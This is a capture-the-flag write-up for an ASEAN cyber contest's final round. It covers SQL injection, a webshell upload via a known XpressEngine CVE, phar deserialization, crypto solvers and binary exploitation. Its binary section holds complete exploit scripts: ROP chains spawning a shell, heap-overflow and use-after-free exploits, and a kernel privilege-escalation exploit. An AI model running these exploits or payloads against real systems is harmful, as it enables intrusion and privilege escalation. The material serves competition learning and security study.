# ASEAN Cyber Shield Hacking Contest FinalRound - Writeup ## Web ### Zerggling Base on the current version of gnuboard , we can figure out the sqli bug due to loose comparison ![image](https://hackmd.io/_uploads/rJjo3ATNp.png) So the final payload is ![image](https://hackmd.io/_uploads/H1CQTAa46.png) ### Easy? Web CMS shell Base on the version of XpressEngine => [CVE-2021-26642](https://nvd.nist.gov/vuln/detail/CVE-2021-26642) ![image](https://hackmd.io/_uploads/HJCSA0pNa.png) Upload webshell ![image](https://hackmd.io/_uploads/SyJ3RR6N6.png) Then access to it through the `path` and `filename` information in the response ![image](https://hackmd.io/_uploads/rJbJkkRNa.png) ### Baby TodoList Sqli in the global.php file ![image](https://hackmd.io/_uploads/rJKpxkRNp.png) Script for "encrypt" payload ```python import base64 def encrypt(string): encoded = '6' + base64.b64encode(string.encode()).decode() result = base64.b64encode(encoded.encode()).decode() return result payload = "' union select 1,2,0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f666c6167,3 -- -" print(encrypt(payload)) ``` Flag ![image](https://hackmd.io/_uploads/SygF-yR4p.png) ### CMS v4.5.3 This challenge is about rce ![image](https://hackmd.io/_uploads/S18kGJA4a.png) The final piece to compele the attack is `eyoom\core\member\push_info.php` We can write arbitrary php code ![image](https://hackmd.io/_uploads/S1pNGJAVp.png) First is enrolling the memebership, and then trigger the set_user_theme() to create the `member/push/push.guest.php` file ![image](https://hackmd.io/_uploads/Hkt_zk0VT.png) Inject php code and read the flag ![image](https://hackmd.io/_uploads/B1FhMy0N6.png) ## Crypto ### fiboCryptv2 Matrix exponentiation for fast calculating fibonacci number ( just slightly modify coefficients ) ```python from sage.all import matrix, ZZ from challenge import * def gen_key(k): k -= 1 G = matrix(ZZ, [ [0xCA11, 0xCAFE], [1, 0] ]) h = sha512(str((G**k).list()[0]).encode()).digest() return h ct = bytes.fromhex(open("output.txt", "r").read().strip()) key = gen_key(k) pt = decrypt(ct, key) print(pt) ``` ### ecrsa Pollard p-1 algorithm to recover `p, d`. Then recover `a, b` and submit `P` to server factor.py: ```python from tqdm.auto import tqdm from gmpy2 import mpz, next_prime, log, floor, powmod, gcd n = 5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981 e = 65537 cap = mpz(2 ** 16) def pollard_rho_step(g, q): r = mpz(floor(log(cap) / log(q))) z = q ** r return powmod(g, z, n) leak = [] while True: g = mpz(2) cur = mpz(2) for i in leak: g = pollard_rho_step(g, i) pbar = tqdm(total=int(cap)) pbar.update(int(cur)) while cur < cap: g = pollard_rho_step(g, cur) check = gcd(g - 1, n) if check != 1: break nx = next_prime(cur) delta = nx - cur pbar.update(int(delta)) cur = nx if g == 1: print("leak common prime factor", cur) leak.append(cur) else: break p = int(gcd(g-1, n)) q = int(n // p) assert (p * q == n) print(f"{p = }") print(f"{q = }") ``` solve.py: ```python p = 4004404860236724424410505016123691119964262044503226116834279781396393620987 q = 1251349041104627233874871827135582647831550070597361758176235202381756063463 data = [27082726157609413704577478015016530855603230966972295210884984872942138450, 2061398328442668155355127601016899592254604687269161726755573633605474707412, 2434496646596008584621955130240777128275362597076933621029594765848833680797, 3738325473285413287098586048799901287126442064296195023518267737163691113313, 2602490126211818399898774115357837457760197083350269085224214365736989620622, 1872248385137329765882659029974077993369999371387368082453644341414502029400, 3994894309447901069964798717084710513506472754199306551753724240026779963400, 185504786042728657826373241091581482293158992953710817494835153549253621395, 1214556303532050516674264038273850297772770202569663639349877979888977426300, 772271029007904955607914197298406348901062431978057527305100995537326511536, 360562995231834591037322363783958915414965118629573267669203878428953766995, 2013532662663210559231214400734054635759272131851295786315114880644831430687] e = 65537 d = pow(e, -1, (p-1)*(q-1)) Points = [] for i in range(0, len(data), 2): Points.append((data[i+0], data[i+1])) # We have 2 equaltions and 2 unknown vars, so easily recover a, b def attack(p, x1, y1, x2, y2): a = pow(x1 - x2, -1, p) * (pow(y1, 2, p) - pow(y2, 2, p) - (pow(x1, 3, p) - pow(x2, 3, p))) % p b = (pow(y1, 2, p) - pow(x1, 3, p) - a * x1) % p return int(a), int(b) a, b = attack(p, *Points[0], *Points[1]) from ecrsa import EC, Point E = EC(p, a, b) G = E(*Points[0]) P = d * G print(P) # Send P to server to get `ct` ct = int("b4912ba504140be5f762b0445b45c349f54724f5c9e23a781b74e835afd1cd8ce465d0ca19fb9bfb89acffce586f5ccf44a8902b183649f6038b1fb1d8214", 16) print(int.to_bytes(pow(ct, d, p*q), 64, 'big').strip(b"\x00")) ``` ### bbRSA I just copy the password in access.log and login on the web server :hear_no_evil: ```python! [16/Oct/2023 13:28:09]:INFO:LOG_TEST:127.0.0.1 - - {'id': 'admin', 'pw': '5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea'} ``` ## Misc ### The Terminator This is the programming language ArnoldC. It have an online Interpreter [here](https://tio.run/) I simplplely add the syntax `TALK TO THE HAND` + `var` at the end of script to print the value of each flag's character [Solution](https://tio.run/##1ZjBjtowEIbvfYq57ZWZBAjHlHiJBYlRYlhxRFuWHlZbiUqt1JenYQlsq2aQZ5tE3gsRmvHE@b/xjO3t4eXb85fH41HbuxLK1DxYnalPAKnawDQtdGmzuARbKAVPz9v9ACsbwMasoFQWViWsljC44U9C/0DoHwr9h0L/kdB/LPSPhP4TmT8OhP5Cvijki0K@KOSLQr4o5ItCvijki0K@JORLQr4k5EtCviTkS0K@JORLQr4k5EtCvoGQbyDg@/3x68/t4dfuZbff7w4N48LTx82qv9aATVU13iyXqvizMFZxCwW6hGwDOl9rG1tt8n9Dq9ysZinYeDG/EXPSbsyGD3SNDeeAlQivFcVp@nUutCoJ3ZTk@lanWHUu@SUvOScHtq9uXc0/qiLUQb4FHcT8n1LRULd@bA9MkWuYwMXZGcM8N9N5/XtOuX6wnyfqBn7YLqTbGl077l1lvdeFSiDwVJfAw@Xs3D6Q@qR67isaFtXAVGcwMxB5SjXykOrIefbjDtpWF61w5KHKoXOLCTtoW8MOYvq44UDn2fdaobDeT1cD0jg5jS2XC22hzlTv6hShp2zfQRo72Abi5CPnPnZRYQZ9rqcz0qnJS51UzjaNLcSQ6LUppqpOFMkRpO/1hZH368v56IbeHcUT85DDtTv9XXHrst9wBHgbGjrviHDo5bdfytMFZeC8w@ugMgTY2uXB6XF5RRrnydtlSrOFWEvAWkLWMmQtI9YyZi0Ra5lwlteV1mxhNUBWA2Q1QFYDZDVAVgNkNUBWA2Q1IFYDYjUgVgNiNSBWA2I1IFYDYjUgVgNiNQhYDaq1drpJSuO1gs9K5WBVkek8tio5Hn8D) ### Music 7 We were given a music sheet, and to get the flag we need to decode it in some way. After getting the title hint, I immidiately convert and music notes to number: `Do = 0, ..., Si = 7`, and converting from base 7 to decimal: `ACS{Music_DEc1mal__SEvEn}`. But the flag was still incorrect. Then I noticed about coda sign and looked up about it for a while. Turns out the order of notes being played won't be the same if there's coda sign so I tried to find the correct flow and gets the correct flag: `ACS{Music_DEc1mal_Music_SEvEn}` ## Binary ### BabyREV Bruteforce each 4 bytes until recovering the whole flag Script: [solve.c](https://file.io/W4tAxm04Yope) `ASC{V2l0aCBncmVhdCBwb3dlciBjb21lcyBncmVhdCByZXNwb25zaWJpbGl0eS4gLSBTcGlkZXItbWFuIGZpbG1zCg==}` ### vCPU Write a Disassembler to disassemble bytecode: ```python from pwn import * leak = open('./vm', 'rb').read() pc = 0 while pc < len(leak): print(hex(pc)[2:].rjust(4, '0'), end = ': ') if leak[pc] == 0: ins = f'exit' pc += 1 elif leak[pc] == 1: arg0 = leak[pc + 1] ins = f'alloc buffer size {hex(arg0)}' pc += 2 elif leak[pc] == 3: arg0 = leak[pc + 1] arg1 = leak[pc + 2] arg2 = leak[pc + 3] new_id = (arg1 | (arg0 << 8)) ins = f'vm[{hex(new_id)}] = mem[{hex(arg2)}]' pc += 4 elif leak[pc] == 5: arg0 = leak[pc + 1] arg1 = leak[pc + 2] arg2 = leak[pc + 3] new_id = (arg1 | (arg0 << 8)) ins = f'mem[{hex(arg2)}] = vm[{hex(new_id)}]' pc += 4 elif leak[pc] == 6: arg0 = leak[pc + 1] arg1 = leak[pc + 2] ins = f'cmp mem[{hex(arg0)}], mem[{hex(arg1)}]' pc += 3 elif leak[pc] == 7: arg0 = leak[pc + 1] arg1 = leak[pc + 2] new_id = (arg1 | (arg0 << 8)) ins = f'jnz {hex(new_id)}' pc += 3 elif leak[pc] == 8: ins = f'exit Incorrect' pc += 1 elif leak[pc] == 9: ins = f'exit Correct' pc += 1 elif leak[pc] == 0xb: arg0 = leak[pc + 1] arg1 = leak[pc + 2] ins = f'mem[{hex(arg0)}] = mem[{hex(arg1)}]' pc += 3 elif leak[pc] == 0xc or leak[pc] == 0xa: arg0 = leak[pc + 1] arg1 = leak[pc + 2] ins = f'mem[{hex(arg0)}] = {hex(arg1)}' pc += 3 elif leak[pc] == 0x13: arg0 = leak[pc + 1] arg1 = leak[pc + 2] pc += 3 ins = f'mem[{hex(arg0)}] &= mem[{hex(arg1)}]' elif leak[pc] == 0x15: arg0 = leak[pc + 1] pc += 2 ins = f'mem[{hex(arg0)}] ~= mem[{hex(arg0)}]' elif leak[pc] == 0x17: arg0 = leak[pc + 1] pc += 2 ins = f'mem[{hex(arg0)}] -= 1' elif leak[pc] == 0x1a: arg0 = leak[pc + 1] arg1 = leak[pc + 2] pc += 3 ins = f'mem[{hex(arg0)}] |= mem[{hex(arg1)}]' elif leak[pc] == 0x1b: arg0 = leak[pc + 1] arg1 = leak[pc + 2] pc += 3 ins = f'mem[{hex(arg0)}] = rol1(mem[{hex(arg0)}], {hex(arg1)})' elif leak[pc] == 0x1d: arg0 = leak[pc + 1] arg1 = leak[pc + 2] pc += 3 ins = f'mem[{hex(arg0)}] = ~(mem[{hex(arg0)}] & mem[{hex(arg1)}])' elif leak[pc] == 0x1f: pc += 1 ins = f'clear mem' elif leak[pc] == 0x20: arg0 = leak[pc + 1] arg1 = leak[pc + 2] pc += 3 ins = f'read mem[{hex(arg0)}] -> buf[{hex(arg1)}]' elif leak[pc] == 0x21: arg0 = leak[pc + 1] arg1 = leak[pc + 2] pc += 3 ins = f'mem[{hex(arg0)}] = buf[{hex(arg1)}]' else: print(f'[-] Unknown Opcode {hex(leak[pc])}') break print(ins) ``` The encryption is just a simple xor with rol. ```python ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) max_bits = 8 key = bytes.fromhex('deadbeef') enc = bytes.fromhex('a77b3be4e6b7be6b2d7c7eb72ab838f56df93826a47c79b7e27cb528ba36f2662f36b5e7eb3ba764') for i in range(len(enc)): x = ror(enc[i], 6, max_bits) + 1 print(chr(x ^ key[i % len(key)]), end = '') ``` ### shellcoding_test Using side-channel attack to leak flag: ```python from pwn import * context.binary = './shellcoding_test_org' # r = remote('192.168.0.52', 10202) context.log_level = 'critical' ans = '' for idx in range(0x1000): for i in range(256): r = remote('192.168.0.109', 10202) sc = asm(f''' add rsp, 8 mov rax, [rsp] mov cl, [rax+{hex(idx)}] cmp cl, {hex(i)} jz hehe syscall: mov rax, 1 syscall hehe: jmp hehe ''' ) # raw_input('abc') try: r.sendline(sc) r.recv(timeout=1) print(f'[+] Found: {chr(i)}') ans += chr(i) r.close() break except Exception as e: pass r.close() print(ans) ``` ### unicorn_horn Capture packet and relay attack: ```python from pwn import * # elf = ELF('./python3.10') # p = process(['./python3.10', 'main.py']) # p = process('./strip_vm') p = remote('192.168.0.52', 10477) p.sendlineafter(b'> ', b'3') p.sendlineafter(b': ', b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA../../../../flag') p.sendlineafter(b'> ', b'2') p.sendlineafter(b': ', b'///////////////////////////////////////////') p.interactive() ``` ### basic_module Spray seq_operation struct in kmalloc-32 to leak kernel base. Then write shellcode. ```c #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <signal.h> #include <sys/ioctl.h> #include <sys/msg.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/types.h> unsigned long user_cs, user_ss, user_rflags, user_sp; void save_state(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved state"); } void get_shell(){ system("/bin/sh"); } unsigned long user_rip = (unsigned long)get_shell; unsigned long kernel_base, pkc, cmc; void escalate_privs() { __asm__( ".intel_syntax noprefix;" "movabs rax, pkc;" "xor rdi, rdi;" "call rax; mov rdi, rax;" "movabs rax, cmc;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { save_state(); int victim[0x50] = {}; for(int i = 0; i < 0x50; i++) { victim[i] = open("/proc/self/stat", O_RDONLY); } for(int i = 0; i < 0x50; i++) { close(victim[i]); } int fd = open("/dev/basic_module", O_RDWR); char buf[0x1000] = {}; ioctl(fd, 4001, &buf); ioctl(fd, 4002, &buf); kernel_base = *(unsigned long *)&buf[0] - 0x165a50; printf("kernel base: 0x%lx\n", kernel_base); pkc = kernel_base + 0x703a0; cmc = kernel_base + 0x704f0; *(unsigned long *)&buf[0] = (unsigned long)escalate_privs; ioctl(fd, 4003, &buf); } ``` ### lucky_draw Bof in `add` and `memo` function. Use bof in `add` to overwrite canary in TLS, then return to `memo` function to trigger the second bof. ```python from pwn import * libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./lucky_draw') p = remote('192.168.0.8', 10206) p.sendlineafter(b'> ', b'1') # gdb.attach(p, 'b*add+84') p.sendlineafter(b': ', b'1') pop_rdi = 0x401376 payload = b'a'*0x38 payload += p64(pop_rdi) payload += p64(elf.got.puts) payload += p64(elf.sym.puts) payload += p64(elf.sym.memo) payload += p64(0x404000 + 0x200)*0xfd payload += b'a'*0x10 p.sendlineafter(b': ', payload) libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts'] print(hex(libc.address)) bin_sh = next(libc.search(b'/bin/sh')) system = libc.sym['system'] payload = b'a'*0x28 payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(pop_rdi + 1) payload += p64(system) p.sendline(payload) p.interactive() ``` ### MZ Protocol Inside the `check_protocol` function, it checks `size <= 1337`, but the object size is only `0x20` => Heap bof. Leak binary base and libc address through `print_protocol`. Only need to make sure the checksum is 0x77 (I have to brute force the checksum when leaking libc address due to this). After having all address needed, overwrite the `print_protocol` to `system`. ```python from pwn import * # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('./libc.so.6') elf = ELF('./mz_protocol') # p = process('./mz_protocol') while(1): elf.address = 0 libc.address = 0 # p = process('./mz_protocol') p = remote('192.168.0.52', 10001) # p = remote('localhost', 10001) # gdb.attach(p, 'b*check_protocol+169\nb*main+207') payload2 = b'\x46' + b'\x00'*0xf + b'\x31' payload = b'MZ' payload += p16(len(payload2), endian='big') p.recv() p.send(payload) p.recv() p.send(payload2) p.recv() p.sendline(b'0') for i in range(14): p.recvline() heap_leak = int(p.recvline().split(b'|')[3], 16) print(hex(heap_leak)) elf.address = int(p.recvline().split(b'|')[3], 16) - elf.sym['print_protocol'] print(hex(elf.address)) payload2 = b'\x00'*0x28 payload2 += p64(0x31) payload2 += p16(0) payload2 += p16(8) payload2 += p32(0) payload2 += p64(elf.got['puts']) payload = b'MZ' payload += p16(len(payload2), endian='big') p.recvrepeat(0.2) p.send(payload) p.recvrepeat(0.2) p.send(payload2) flag = 0 try: print(p.recv()) flag = 1 break except KeyboardInterrupt: exit(1) except: p.close() if(flag): break p.sendline(b'1') for i in range(7): p.recvline() libc.address = int(p.recvline().split(b'|')[3], 16) - libc.sym['puts'] print(hex(libc.address)) payload2 = b'/bin/sh\x00\x05' payload2 += b'\x00'*0x1f payload2 += p64(0x31) payload2 += b'sh;\x00' payload2 += p32(0) payload2 += p64(heap_leak - 0x3a) payload2 += p64(libc.sym['system']) payload = b'MZ' payload += p16(len(payload2), endian='big') p.recvrepeat(1) p.send(payload) # gdb.attach(p, 'b*check_protocol+169\nb*main+207') p.recvrepeat(1) p.sendline(payload2) p.sendline(b'2') p.interactive() ``` ## Auditing ### One Page (_The host value in http request may be difference because i do it on my own environment, but the payload is the same_) This challenge is phar deserialization bug, `__destruct__` method of `Utils\Template` class can be used to get the content of flag Register -> Login and then create a simple page, after that edit the js file ![image](https://hackmd.io/_uploads/HkmbekR4p.png) Set the `src` attribute the the phar file ![image](https://hackmd.io/_uploads/rkhfgJAET.png) Flag ![image](https://hackmd.io/_uploads/Bk-NekRNT.png) ### Note UAF in `_erase` function. Heap feng shui to overwrite 1 note's emoji function to `shell` function. ```python from pwn import * # p = process('./note') p = remote('192.168.0.52', 40000) def add(idx, note): p.sendlineafter(b'> ', b'1') p.sendlineafter(b': ', str(idx).encode()) p.sendlineafter(b': ', note) p.sendlineafter(b'> ', b'1') def read(idx): p.sendlineafter(b'> ', b'3') p.sendlineafter(b': ', str(idx).encode()) def free(idx): p.sendlineafter(b'> ', b'4') p.sendlineafter(b': ', str(idx).encode()) p.recvuntil(b': ') shell = int(p.recvline(), 16) print(hex(shell)) add(1, b'a'*0xf) add(2, b'a'*0x30) free(1) free(2) add(3, b'a'*8 + p64(shell)) # gdb.attach(p, 'b*main+179') read(1) p.interactive() ```